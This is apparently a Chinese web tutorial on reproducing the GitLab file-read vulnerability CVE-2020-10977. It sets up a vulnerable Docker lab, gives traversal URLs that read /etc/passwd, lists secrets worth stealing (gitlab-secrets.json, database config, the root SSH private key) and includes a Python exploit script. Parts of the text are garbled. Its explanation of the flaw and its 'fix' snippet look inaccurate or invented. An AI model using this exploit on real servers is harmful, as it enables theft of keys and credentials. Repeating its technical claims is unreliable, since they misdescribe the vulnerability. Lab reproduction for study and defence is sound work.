# GitLab任意文件讀取漏洞CVE-2020-10977如何進行復現
## 漏洞概述
CVE-2020-10977是GitLab社區版(CE)和企業版(EE)中的一個高危任意文件讀取漏洞,影響版本范圍為**11.3及以上至12.9.1以下**。攻擊者通過構造特殊請求,可繞過權限驗證讀取服務器上的任意文件,包括敏感配置文件、密鑰等。
## 漏洞原理
該漏洞源于GitLab對用戶提供的`filename`參數驗證不嚴,當用戶通過`/uploads`路由訪問上傳文件時,系統未正確校驗路徑穿越符號(`../`),導致目錄遍歷攻擊:
https://gitlab.example.com/uploads/group/project/../../../../etc/passwd
## 環境準備
### 受影響版本
- GitLab CE/EE 11.3 - 12.9.0
### 測試環境搭建
推薦使用Docker快速搭建漏洞環境:
```bash
# 拉取存在漏洞的GitLab版本
docker pull gitlab/gitlab-ce:12.8.1-ce.0
# 運行容器(注意配置端口和數據卷)
docker run -d \
--hostname gitlab.example.com \
-p 443:443 -p 80:80 -p 2222:22 \
--name gitlab \
--restart always \
-v /srv/gitlab/config:/etc/gitlab \
-v /srv/gitlab/logs:/var/log/gitlab \
-v /srv/gitlab/data:/var/opt/gitlab \
gitlab/gitlab-ce:12.8.1-ce.0
訪問/help
頁面確認版本號:
http://目標IP/help
test-project
)test.txt
)通過Burp Suite或瀏覽器直接訪問以下URL(需替換實際參數):
http://目標IP/uploads/[group]/[project]/../../../../../../etc/passwd
參數說明:
- [group]
: 項目所屬組名
- [project]
: 項目名稱
示例(假設組名為mygroup
,項目名為test-project
):
http://192.168.1.100/uploads/mygroup/test-project/../../../../../../etc/passwd
成功響應將顯示/etc/passwd
文件內容:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
可嘗試讀取的其他敏感文件:
文件路徑 | 說明 |
---|---|
/etc/gitlab/gitlab-secrets.json |
包含加密密鑰 |
/var/opt/gitlab/gitlab-rails/etc/database.yml |
數據庫配置 |
/root/.ssh/id_rsa |
服務器SSH私鑰 |
/proc/self/environ |
環境變量信息 |
使用Python快速驗證漏洞:
import requests
import urllib.parse
TARGET = "http://gitlab.example.com"
GROUP = "mygroup"
PROJECT = "test-project"
FILE_TO_READ = "/etc/passwd"
def exploit():
path = f"/uploads/{GROUP}/{PROJECT}/../../../../../../{FILE_TO_READ}"
url = urllib.parse.urljoin(TARGET, path)
response = requests.get(url)
if response.status_code == 200:
print(f"[+] 成功讀取 {FILE_TO_READ}:")
print(response.text)
else:
print(f"[-] 讀取失敗 (HTTP {response.status_code})")
if __name__ == "__main__":
exploit()
../
的請求GitLab通過以下修改修復漏洞:
1. 在app/controllers/uploads_controller.rb
中添加路徑規范化檢查
2. 使用Gitlab::PathTraversal.check_path_traversal!
方法驗證路徑
關鍵修復代碼片段:
def validate_upload_path!
Gitlab::PathTraversal.check_path_traversal!(file.path)
end
”`
注:實際復現時請確保在授權環境下進行,文中的IP、域名等需替換為實際測試目標。建議使用虛擬機或隔離網絡環境進行實驗。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。